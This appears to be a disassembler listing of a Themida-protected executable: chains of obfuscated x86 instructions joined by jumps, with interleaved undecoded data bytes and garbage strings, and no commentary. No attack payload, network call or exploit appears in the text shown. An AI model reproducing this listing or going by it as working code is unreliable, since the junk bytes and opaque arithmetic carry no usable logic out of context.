; ---------------------------------------------------------------------------

loc_50CD59:				; CODE XREF: Themida_:0050B325j
		add	edi, ecx
		pop	ecx
		jmp	loc_506A22
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 74010000h, 8B5E0424h, 8956242Ch, 4C681E6h, 0E9000000h
		dd 0FFFFE526h, 8DE9E801h, 81000019h, 0DD4D17EFh, 3DC7810Ch
		dd 508EF7ADh, 4E2DE1B8h, 2410250Ah, 2005353Ah, 83028257h
		dd 372DFFC0h, 29FD1874h, 0BA5258C5h, 1FC0490Ch,	7708CA81h
		dd 0C28152C3h, 1, 0F705EAC1h, 0EAF281DAh, 1AAF8FEh, 0CEE95AD5h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CDCF:				; CODE XREF: Themida_:0050354Ej
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_505A55
; ---------------------------------------------------------------------------
		dw 868h
		dd 8900001Bh, 0C188240Ch, 424448Ah, 4244C88h, 83240C8Bh
		dd 0EC8304C4h, 0C896602h, 62926824h, 14890000h,	5F685124h
		dd 0E900003Bh, 3253h, 0FF2A05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CE11:				; CODE XREF: Themida_:00505C0Aj
		add	edx, ebp
		jmp	loc_500A46
; ---------------------------------------------------------------------------

loc_50CE18:				; CODE XREF: Themida_:0050E4D4j
		sub	edx, 129236C4h
		jmp	loc_51287A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 0D7682404h, 89000032h, 18E9242Ch
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CE37:				; CODE XREF: Themida_:0050DA51j
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6DCF567Eh
		inc	edi
		sub	edi, 1
		push	edx
		mov	edx, 63EC2A82h
		jmp	loc_51494C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0C8BCA01h, 4C48324h, 2B0768h, 243C8900h, 4DB7E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50CE72:				; CODE XREF: Themida_:005050CEj
		mov	esi, 597C6D74h
		mov	edi, esi
		jmp	loc_50D359
; ---------------------------------------------------------------------------

loc_50CE7E:				; CODE XREF: Themida_:00506540j
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_50F1B7
; ---------------------------------------------------------------------------
		dw 0BF2Ch
		dd 0C8B665Ah, 0F3F7E924h, 0D300FFFFh, 0FFA5B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CEB5:				; CODE XREF: Themida_:0051036Ej
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_512870
; ---------------------------------------------------------------------------
		dd 0E9B9F580h, 0FFFF39FDh
; ---------------------------------------------------------------------------

loc_50CED4:				; CODE XREF: Themida_:00510986j
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Bh
		jmp	loc_513D3F
; ---------------------------------------------------------------------------

loc_50CEE0:				; CODE XREF: Themida_:00503E32j
		shr	edi, 6
		or	edi, 60BB0F9Fh
		push	esi
		jmp	loc_507B87
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BD5508E6h, 4BD578FFh, 5C37CD81h, 0DBE96F3Eh, 83FFFFE2h
		dd 0E95202C2h, 0FFFF6B49h
; ---------------------------------------------------------------------------

loc_50CF0C:				; CODE XREF: Themida_:0050D94Cj
		mov	[esp], edx
		mov	edx, 34185F9Bh
		jmp	loc_502D53
; ---------------------------------------------------------------------------

loc_50CF19:				; CODE XREF: Themida_:0050604Aj
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, 2D8A312Bh
		jmp	loc_509B87
; ---------------------------------------------------------------------------

loc_50CF2A:				; CODE XREF: Themida_:0051142Aj
		mov	esp, [esp]
		push	19E0h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4C7B0A58h
		xor	ecx, 2B13526Ch
		xor	ecx, 8BF42CFh
		and	ecx, 4A633A5h
		push	7C06h
		jmp	loc_5115E5
; ---------------------------------------------------------------------------
		db 0BFh
		dd 81A626Bh, 25E9FB09h,	8100003Fh, 0EF6188F2h, 7966E932h
		dd 0F7660000h, 54D4E9DEh, 0F2810000h, 39074656h, 15AD301h
		dd 0CEEB81D3h, 5A436925h, 83E5C381h, 0DF311556h, 83241C8Bh
		dd 0CF8104C4h, 0CD16921h, 6C75E9h, 58C70100h, 0FF8B3EE9h
		dd 13F581FFh, 0F749EF5Bh, 70F581DDh, 1C02C7Ah, 0F5015DEEh
		dd 4C5815Eh, 87000000h,	0FF5C242Ch, 148B2434h, 4C48324h
		dd 662968h, 24348900h, 1BA968h,	48F5400h, 24048324h, 57E95E04h
		dd 30FFFF4Ch, 241C8BFDh, 4C481h, 0F0E90000h, 29FFFF46h
		dd 24148BD0h, 4C481h, 0F8290000h, 0D445D005h, 2434FF2Bh
		dd 0FF6779E9h, 29665EFFh, 590566F0h, 348B662Bh,	2C48324h
		dd 4EC81h, 2C890000h, 5EBD6624h, 96ADE912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D03E:				; CODE XREF: Themida_:0050D5B7j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_510037
; ---------------------------------------------------------------------------
		db 29h
		dd 0B0E958C3h, 87FFFF73h, 895C241Ch, 0E957242Ch, 211Fh
; ---------------------------------------------------------------------------

loc_50D05C:				; CODE XREF: Themida_:00510679j
		mov	edi, 16A84423h
		jmp	loc_509513
; ---------------------------------------------------------------------------

loc_50D066:				; CODE XREF: Themida_:00509A53j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 72B509F1h
		mov	eax, [esp]
		jmp	loc_510FF6
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D9h
		dd 2C19E9h, 62EB6800h, 34890000h, 2C90E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50D092:				; CODE XREF: Themida_:00501A69j
		add	ecx, ebx
		sub	ecx, 102C205Eh
		jmp	loc_502490
; ---------------------------------------------------------------------------
		db 1
		dd 0A7EE81D6h, 8B2B717Ah, 0C4812414h, 4, 5C243487h, 78D7E9h
		dd 24048900h, 236BFFB8h, 7E0C118h, 0D4E9D0F7h, 53FFFFD4h
		dd 0DB7770BBh, 5BD92903h, 4D8FBA52h, 0D10917F4h, 0ABC9815Ah
		dd 810A8824h, 828A80E9h, 0B46AE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D0EE:				; CODE XREF: Themida_:0050E58Ej
		and	eax, 304009B0h
		xor	eax, 3F272B78h
		sub	ebx, eax
		jmp	loc_505669
; ---------------------------------------------------------------------------
		db 0BFh
		dd 1CBF458Ch, 0B9E9DFF7h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50D10B:				; CODE XREF: Themida_:00509D42j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	5A9Dh
		mov	[esp], ecx
		jmp	loc_51280B
; ---------------------------------------------------------------------------
		db 56h
		dd 471B71BEh, 7572E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D12A:				; CODE XREF: Themida_:004FF857j
		add	edx, 69502CAh
		mov	eax, edx
		pop	edx
		jmp	loc_50A3A3
; ---------------------------------------------------------------------------
		dd 8B9F680h, 0B4505AF7h, 80C4FEABh, 72E95DF4h, 100002Ah
		dd 89505DEBh, 405E0h, 0E8830000h, 24048704h, 243C895Ch
		dd 63B76856h, 0C15E55EFh, 0CE8102E6h, 42EA1611h, 8103EEC1h
		dd 0FFF3D9F6h, 0E189510Ah, 4C181h, 0E9830000h, 240C8704h
		dd 6C3BE9h, 0E9F83000h,	5CBEh
; ---------------------------------------------------------------------------

loc_50D194:				; CODE XREF: Themida_:0050538Ej
		push	esi
		mov	esi, 298A51DBh
		sub	edx, esi
		pop	esi
		sub	edx, ebp
		add	edx, 298A51DBh
		mov	ebp, [esp]
		jmp	loc_5143C8
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0EEh
		dd 33FFFF69h, 14312414h, 31EA3124h, 68EA31D5h, 13FCh, 0E9242C89h
		dd 0FFFF6EBBh, 57C6015Bh, 92091BBFh, 3DA4E91Fh,	0CD01FFFFh
		dd 83240C8Bh, 0EEE904C4h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D1E7:				; CODE XREF: Themida_:00509108j
		mov	edx, 70731D0Bh
		or	edx, 74176FA9h
		xor	edx, 6DDE295Ch
		jmp	loc_501F0D
; ---------------------------------------------------------------------------

loc_50D1FD:				; CODE XREF: Themida_:005074E0j
		pop	dword ptr [esp]
		push	edi
		push	edx
		mov	edx, 1EA03E27h
		mov	edi, edx
		pop	edx
		sub	edi, 70841D1Ch
		shl	edi, 2
		jmp	loc_50E2C3
; ---------------------------------------------------------------------------

loc_50D218:				; CODE XREF: Themida_:004FFB1Bj
		mov	ebx, 7A5173BBh
		not	ebx
		neg	ebx
		jmp	loc_50C182
; ---------------------------------------------------------------------------
		dw 75B6h
		dd 0FDC680h, 3FE1E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50D232:				; CODE XREF: Themida_:00513F79j
		and	esi, 5122023Dh
		shl	esi, 2
		push	ecx
		mov	ecx, 3297068Fh
		neg	ecx
		jmp	loc_510C94
; ---------------------------------------------------------------------------
		dd 33241C31h, 50E9241Ch
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D253:				; CODE XREF: Themida_:00504583j
		shr	ecx, 8
		xor	ecx, 0C60012Ah
		push	eax
		mov	eax, 0BAB34782h
		sub	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_509975
; ---------------------------------------------------------------------------

loc_50D279:				; CODE XREF: Themida_:005057ECj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_507348
; ---------------------------------------------------------------------------

loc_50D28D:				; CODE XREF: Themida_:004FFEFEj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, 37AC06E0h
		add	esi, ebx
		sub	esi, 37AC06E0h
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_50FD61
; ---------------------------------------------------------------------------

loc_50D2C3:				; CODE XREF: Themida_:00509B93j
		sub	ecx, ebx
		jmp	loc_50C603
; ---------------------------------------------------------------------------

loc_50D2CA:				; CODE XREF: Themida_:0050CC64j
		mov	ebp, 4
		sub	ecx, 25060EC9h
		add	ecx, ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5142A2
; ---------------------------------------------------------------------------

loc_50D2E4:				; CODE XREF: Themida_:0050A686j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	1DF5h
		mov	[esp], esi
		jmp	loc_50C672
; ---------------------------------------------------------------------------

loc_50D2F7:				; CODE XREF: Themida_:0050851Dj
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_512018
; ---------------------------------------------------------------------------
		dd 5337DBBFh, 45EF8132h, 4F40C823h, 4D7F781h, 0F831F1DBh
		dd 0E9C7015Fh, 1290h
; ---------------------------------------------------------------------------

loc_50D324:				; CODE XREF: Themida_:0050669Bj
		sub	edi, 6CB37911h
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_506FD2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0AD2C1D2Dh, 0E9D80175h, 0FFFF8758h
; ---------------------------------------------------------------------------

loc_50D34C:				; CODE XREF: Themida_:00510B46j
		shl	esi, 7
		push	6C47h
		jmp	loc_5038A8
; ---------------------------------------------------------------------------

loc_50D359:				; CODE XREF: Themida_:0050CE79j
		pop	esi
		jmp	loc_5049AB
; ---------------------------------------------------------------------------

loc_50D35F:				; CODE XREF: Themida_:00507F9Cj
		pop	ecx
		jmp	loc_506E41
; ---------------------------------------------------------------------------

loc_50D365:				; CODE XREF: Themida_:005140E9j
		sub	ebx, 0C34BFBDFh
		add	esi, ebx
		pop	ebx
		jmp	loc_509009
; ---------------------------------------------------------------------------
		db 89h
		dd 15A5FF8h, 77E95EF0h,	28000014h, 0DF0459E8h, 0D028CD04h
		dd 0E953CD2Ch, 0FFFF9F64h, 0C781D7F7h, 556A5798h, 67B0EE81h
		dd 29E979E7h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D3A3:				; CODE XREF: Themida_:00507872j
		push	ebx
		push	esi
		mov	esi, 387045C1h
		dec	esi
		sub	esi, 0FD3339DBh
		mov	ebx, esi
		jmp	loc_503EF9
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF779Dh, 89243489h, 0E9F789CEh, 0FFFFCA78h
		dd 4EC3E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D3D2:				; CODE XREF: Themida_:00501FEEj
		mov	[esp], eax
		mov	eax, 6A816501h
		jmp	loc_510FD4
; ---------------------------------------------------------------------------

loc_50D3DF:				; CODE XREF: Themida_:0050C2D6j
		shl	dl, 1
		sub	dl, 1
		push	ecx
		push	edx
		mov	dl, 0E0h
		mov	cl, 0DDh
		jmp	loc_50608B
; ---------------------------------------------------------------------------
		db 48h
		dd 2D9BBD55h, 0E5C12F16h, 5F58104h, 816A187Ch, 0BBF4A3F5h
		dd 63EA05C1h, 32E95969h, 89FFFF27h, 4812424h, 424h, 4055800h
		dd 51000000h, 4B9h, 33012D00h, 0C8013AA2h, 0A2330105h
		dd 1BC8E93Ah, 742C0000h, 7404D800h, 4584E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D442:				; CODE XREF: Themida_:00502D5Bj
		neg	ebp
		push	eax
		jmp	loc_513A9D
; ---------------------------------------------------------------------------
		dw 0E628h
		dd 97E95866h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D453:				; CODE XREF: Themida_:0050AF65j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_50EB9A
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 6C45BD24h, 0C3E9126Dh, 2CFFFF97h, 31B252CBh,	2FE9D000h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D47B:				; CODE XREF: Themida_:005080D1j
		push	ebx
		push	edi
		jmp	loc_50312D
; ---------------------------------------------------------------------------
		dw 0EA89h
		dd 1CCAE9h, 24043300h, 33240431h, 665C2404h, 6824048Bh
		dd 7A8h, 81240C89h, 4ECh, 24248900h, 4240481h, 0FF000000h
		dd 51592434h, 0DE9E189h, 51000021h, 38E9E189h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50D4C3:				; CODE XREF: Themida_:005035BAj
		not	edx
		and	edx, 3C00901h
		and	edx, 604650Bh
		shl	edx, 4
		add	edx, 18CF7F68h
		jmp	loc_50DA71
; ---------------------------------------------------------------------------
aSQ_0		db '[Q',0
		dd 1962BD00h, 5051271Dh, 227F4D68h, 0E8C15843h,	0C4E00506h
		dd 4CE90ED4h, 87000054h, 0E0CF81F7h, 816C4A64h,	4AEFF2F7h
		dd 5FFE89ECh, 46E9F389h, 0F6000061h, 6C7CE9DEh,	3468FFFFh
		dd 89000055h, 5BE9243Ch
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50D52B:				; CODE XREF: Themida_:005019BBj
		pop	ebx
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	esi, 30B221E5h
		jmp	loc_510B40
; ---------------------------------------------------------------------------
		db 1
		dd 2E95FFAh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D547:				; CODE XREF: Themida_:00502A26j
		add	ecx, 251DF20h
		mov	esi, ecx
		pop	ecx
		add	ecx, esi
		pop	esi
		sub	ecx, 5BEB294Dh
		jmp	loc_504D19
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 2434FF3Ch, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 8B54240Ch
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_511BDB
; ---------------------------------------------------------------------------

loc_50D58E:				; CODE XREF: Themida_:0050B02Fj
		add	ecx, 381F4218h
		push	edx
		push	edi
		mov	edi, 22504D8Fh
		mov	edx, 0E6AFE42Fh
		add	edx, edi
		pop	edi
		sub	edx, 0A675DAA5h
		or	ecx, edx
		pop	edx
		jmp	loc_50E582
; ---------------------------------------------------------------------------

loc_50D5B1:				; CODE XREF: Themida_:0051341Dj
		add	edx, 4
		jmp	loc_50D03E
; ---------------------------------------------------------------------------

loc_50D5BC:				; CODE XREF: Themida_:00501A8Aj
		mov	ebx, 5B53125Fh
		xor	ebx, 10351ABh
		and	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_51445C
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	0A1E92404h, 81FFFF94h, 65568EF7h
		dd 69E9E92Fh, 0C4830000h, 0BA525504h, 4, 148BD589h, 67DFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50D602:				; CODE XREF: Themida_:00501C1Fj
		push	eax
		push	ecx
		jmp	loc_5143B1
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0BF570000h, 2, 335FFB01h, 1C31241Ch,	241C3324h
		dd 0FFF7FAE9h, 4C381FFh, 81000000h, 4C3h, 4EC8300h, 0FF241C89h
		dd 0E9042474h, 56B4h, 4F4ABB66h, 66DD0166h, 0D529665Bh
		dd 4AED8166h, 0C1665A4Fh, 686602E5h, 89663B51h,	31E9241Ch
		dd 8FFFFFA6h, 56502404h, 2B69CA68h, 0BD555E10h,	78FA0BA1h
		dd 815DEE21h, 2A0984F6h, 9FECE910h, 0DEBEFFFFh,	2977856Ch
		dd 0E9575EF5h, 0FFFF7983h, 8DA5E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D69A:				; CODE XREF: Themida_:005117DCj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 0E1F4854h
		and	esi, 62505F2Bh
		jmp	loc_50774C
; ---------------------------------------------------------------------------

loc_50D6BA:				; CODE XREF: Themida_:00512925j
		add	edx, eax
		pop	eax
		add	edx, edi
		jmp	loc_5025B6
; ---------------------------------------------------------------------------

loc_50D6C4:				; CODE XREF: Themida_:005017D2j
		mov	eax, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_508B83
; ---------------------------------------------------------------------------
		dw 0F9B9h
		dd 81102A1Fh, 0F3ECE6E9h, 59CB21B4h, 2FEEB81h, 47685812h
		dd 0E9000061h, 0FFFFDE23h
; ---------------------------------------------------------------------------

loc_50D6FC:				; CODE XREF: Themida_:00502EAFj
		pop	esi
		jmp	loc_504079
; ---------------------------------------------------------------------------
aShK1S2		db 'Sh\',1Bh,')[1%2',0
		align 10h
		dd 5A24048Fh, 3654BE56h, 0E6815280h, 0AC74306h,	56B6F681h
		dd 0F23161EDh, 0FFF1B9E9h, 89D389FFh, 60E95BD9h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D737:				; CODE XREF: Themida_:00502748j
		add	esp, 4
		push	7C49h
		jmp	loc_50CC61
; ---------------------------------------------------------------------------

loc_50D744:				; CODE XREF: Themida_:0050C574j
		mov	edi, 396D4CCDh
		dec	edi
		shl	edi, 5
		xor	edi, 2D79A927h
		and	ebp, edi
		jmp	loc_5106D3
; ---------------------------------------------------------------------------
		dw 0E768h
		dd 89000016h, 0BF572434h, 13F5308Eh, 41DAE947h,	0C4810000h
		dd 4, 0FFC392E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D779:				; CODE XREF: Themida_:00511E70j
		mov	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 7DB74D25h
		jmp	loc_5124CF
; ---------------------------------------------------------------------------
		db 89h
		dd 9868241Ch, 5B7AEA6Ah, 8104E3C1h, 226CB1EBh, 5BDE894Dh
		dd 0FFF74EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50D7A1:				; CODE XREF: Themida_:00500B5Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_505CD4
; ---------------------------------------------------------------------------

loc_50D7AC:				; CODE XREF: Themida_:00506F67j
		shl	edi, 8
		jmp	loc_50F106
; ---------------------------------------------------------------------------
		dd 0FD4ED9B9h, 0B3C1813Ah, 21C75F0Ch, 0EAC159CAh, 81F28107h
		dd 0F719AC32h, 0D5E281DAh, 837C4378h, 48904ECh,	1CC3E924h
		dd 0C2810000h, 4, 4C281h, 14870000h, 24248B24h,	0FDE9F501h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D7F7:				; CODE XREF: Themida_:00506A28j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	0BBAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5096EE
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 0EC8104C0h, 4, 0E9240489h, 0FFFFD093h, 0AE97BB5h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50D833:				; CODE XREF: Themida_:0050E9D1j
		add	esp, 4
		jmp	loc_511443
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 1000000h, 0C78158C6h, 3733567Ah, 0EF81F701h
		dd 3733567Ah, 2EF835Eh,	50DDE9h, 243C3100h, 8B243C33h
		dd 48F2424h, 24248B24h,	9C2424D2h, 0FF1F9DE9h, 7B032DFFh
		dd 14E92CBCh, 4FFFFFB8h, 2F8BB951h, 0E9C14CB4h,	66C18103h
		dd 0E92FB5BAh, 738Ah, 0E924048Fh, 54E5h
; ---------------------------------------------------------------------------

loc_50D8A0:				; CODE XREF: Themida_:005143C3j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 57A35A24h
		mov	ebp, 382EACD8h
		sub	ebp, edx
		jmp	loc_5066A0
; ---------------------------------------------------------------------------

loc_50D8BC:				; CODE XREF: Themida_:00509A66j
		xor	[esp], eax
		xchg	eax, edi
		jmp	loc_506E2B
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 242C895Ch, 81595451h, 4C1h, 4E98300h, 5C240C87h, 0E9242489h
		dd 0FFFFBCFDh
; ---------------------------------------------------------------------------

loc_50D8E4:				; CODE XREF: Themida_:00505CAEj
		xchg	ebp, [esp]
		jmp	loc_508D77
; ---------------------------------------------------------------------------

loc_50D8EC:				; CODE XREF: Themida_:005016E3j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_50780C
; ---------------------------------------------------------------------------

loc_50D8F7:				; CODE XREF: Themida_:00508505j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_502FF0
; ---------------------------------------------------------------------------

loc_50D901:				; CODE XREF: Themida_:005102B4j
		sub	al, 0E7h
		add	al, cl
		add	al, 0E7h
		pop	ecx
		add	cl, 35h
		add	cl, al
		sub	cl, 35h
		jmp	loc_501C2D
; ---------------------------------------------------------------------------

loc_50D915:				; CODE XREF: Themida_:0050524Dj
		push	esi
		mov	esi, 4254C1Fh
		jmp	loc_508F38
; ---------------------------------------------------------------------------

loc_50D920:				; CODE XREF: Themida_:005131D8j
		mov	ebx, 1F2E7C10h
		xor	edi, ebx
		pop	ebx
		sub	[edx+38h], edi
		pop	edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4

loc_50D933:				; CODE XREF: Themida_:0050B855j
		push	esi
		mov	esi, esp
		jmp	loc_50EF84
; ---------------------------------------------------------------------------

loc_50D93B:				; CODE XREF: Themida_:0050EC23j
		sub	ebx, ebp
		pop	ebp
		add	ebx, esi
		add	ebx, 7639460Fh
		jmp	loc_508391
; ---------------------------------------------------------------------------

loc_50D94B:				; CODE XREF: Themida_:005050A8j
		pop	esp
		jmp	loc_50CF0C
; ---------------------------------------------------------------------------

loc_50D951:				; CODE XREF: Themida_:0051416Fj
		sub	eax, 6A3B027Ah
		add	eax, 178F0CC7h
		add	eax, 4BE53A7Ch
		jmp	loc_500519
; ---------------------------------------------------------------------------

loc_50D965:				; CODE XREF: Themida_:0050E81Bj
		push	bx
		push	ecx
		mov	ch, 0DCh
		jmp	loc_50B44B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 6682BA52h, 0C3813904h, 319D371Bh, 0FFE125E9h
		dd 4DC68FFh, 0F75E292Fh, 46EE81DEh, 0E9647E48h,	49F8h
; ---------------------------------------------------------------------------

loc_50D99C:				; CODE XREF: Themida_:00509A0Ej
		sub	edi, 0F23460Ah
		push	edi
		sub	dword ptr [esp], 39847B2Dh
		pop	edx
		push	edi
		push	ebx
		jmp	loc_50FECE
; ---------------------------------------------------------------------------
		dw 0D305h
		dd 6827FD7Ah, 1B32h, 0B9240C89h, 6C1719E0h, 0E1C1D1F7h
		dd 3BE18108h, 813BE01Fh, 16031DC9h, 0E3BB5314h,	3172BF58h
		dd 241C8BD9h, 0FF3FB2E9h, 48159FFh, 23760524h, 242C816Bh
		dd 15CD15B7h, 37240481h, 0E97E8B62h, 0FFFFC490h, 555AD509h
		dd 0FF242C81h, 0E9FFFFFFh, 0FFFFE64Bh
; ---------------------------------------------------------------------------

loc_50DA10:				; CODE XREF: Themida_:0050F897j
		mov	ebx, [esp]
		push	ebx
		push	242Eh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_510CB3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0C0E95259h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DA33:				; CODE XREF: Themida_:00501107j
		add	ebx, 44661768h
		sub	ebx, eax
		jmp	loc_505B1F
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 0FFFFDD58h
; ---------------------------------------------------------------------------

loc_50DA48:				; CODE XREF: Themida_:00508A09j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_50CE37
; ---------------------------------------------------------------------------

loc_50DA56:				; CODE XREF: Themida_:00500E00j
		push	0F04h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5090FE
; ---------------------------------------------------------------------------

loc_50DA71:				; CODE XREF: Themida_:0050D4DAj
		and	ebp, edx
		pop	edx
		not	ebp
		and	ebp, 459A64F4h
		push	edi
		mov	edi, 63FA6BAFh
		add	edi, 9E12CC8Eh
		or	ebp, edi
		pop	edi
		jmp	loc_4FFD4B
; ---------------------------------------------------------------------------

loc_50DA90:				; CODE XREF: Themida_:0050A2D8j
		add	esp, 4
		jmp	loc_50740A
; ---------------------------------------------------------------------------

loc_50DA9B:				; CODE XREF: Themida_:005017ACj
		shr	ebp, 8
		jmp	loc_4FFEA6
; ---------------------------------------------------------------------------

loc_50DAA3:				; CODE XREF: Themida_:0050AF27j
		xchg	ecx, [esp]
		jmp	loc_50FB46
; ---------------------------------------------------------------------------
		db 68h
		dd 7DA6h, 0E9241C89h, 0FFFFCB8Ch, 6419F381h, 4B681823h
		dd 89000070h, 6850242Ch, 0C372750h, 898FE958h, 0E952FFFFh
		dd 0FFFFAD9Ah, 8904EC83h, 5E542434h, 4BF57h, 0FE010000h
		dd 4C6815Fh, 87000000h,	2D5C2434h, 23436FA1h, 3372E9h
		db 0
; ---------------------------------------------------------------------------

loc_50DAFD:				; CODE XREF: Themida_:0050EABDj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_503AF5
; ---------------------------------------------------------------------------
		dd 0E911C380h, 4533h, 40ABE958h, 34FFFFFFh, 21E95E24h
		dd 0F6FFFF71h, 0A9EA80DAh, 0E95AD788h, 0FFFF5EAAh
; ---------------------------------------------------------------------------

loc_50DB2C:				; CODE XREF: Themida_:00511333j
		and	edx, eax
		pop	eax
		not	edx
		sub	edx, 0B121A1C8h
		sub	esp, 4
		jmp	loc_501DC1
; ---------------------------------------------------------------------------
		dw 895Eh
		dd 3C8B5EF5h, 2784E924h, 0C281FFFFh, 509B9FC5h,	0C15AD789h
		dd 0F79708E7h, 0ED20E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50DB62:				; CODE XREF: Themida_:0050A660j
		pop	esi
		jmp	loc_511383
; ---------------------------------------------------------------------------

loc_50DB68:				; CODE XREF: Themida_:0050145Aj
		sub	ebp, ecx
		add	ebp, 4B654446h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5045AF
; ---------------------------------------------------------------------------

loc_50DB88:				; CODE XREF: Themida_:00508461j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_511E44
